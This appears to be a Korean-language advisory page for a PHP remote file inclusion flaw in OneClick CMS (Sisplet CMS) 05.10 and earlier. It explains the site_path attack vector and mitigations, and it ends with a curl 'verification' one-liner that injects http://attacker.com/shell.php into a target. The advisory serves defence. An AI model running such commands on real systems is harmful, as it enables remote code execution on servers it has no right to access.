🇰🇷 한글 설명
OneClick CMS의 main/forum/komentar.php에서 site_path 파라미터를 통한 원격 파일 포함 취약점으로, 공격자가 임의의 PHP 코드를 원격 실행할 수 있습니다. 05.10 이전 버전이 영향을 받으며, 입력 검증 부족으로 인해 외부 파일 포함이 가능합니다.
💡 쉬운 설명
OneClick CMS 웹사이트에서 파일을 불러오는 기능에 보안 문제가 있어 공격자가 악의적인 코드를 실행할 수 있습니다. 사이트 관리 기능을 통해 외부에서 서버를 제어할 수 있는 위험이 있습니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in main/forum/komentar.php in OneClick CMS (aka Sisplet CMS) 05.10 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the site_path parameter.
📍 영향받는 시스템
OneClick CMS (Sisplet CMS) 버전 05.10 이전
⚔️ 공격 벡터
site_path 매개변수에 원격 PHP 파일 URL을 입력하여 임의 PHP 코드 실행
🛡️ 대응 방법
OneClick CMS를 최신 버전으로 업그레이드하거나 site_path 파라미터에 대한 엄격한 입력 검증 및 화이트리스트 적용
🔧 검증 코드
Include/require 경고나 PHP 에러가 나타나면 원격 파일 포함이 작동하는 것으로 취약점 존재 확인
curl -s 'http://target/main/forum/komentar.php?site_path=http://attacker.com/shell.php' 2>/dev/null | grep -i 'include\|require\|warning' && echo 'Vulnerable' || echo 'Check response'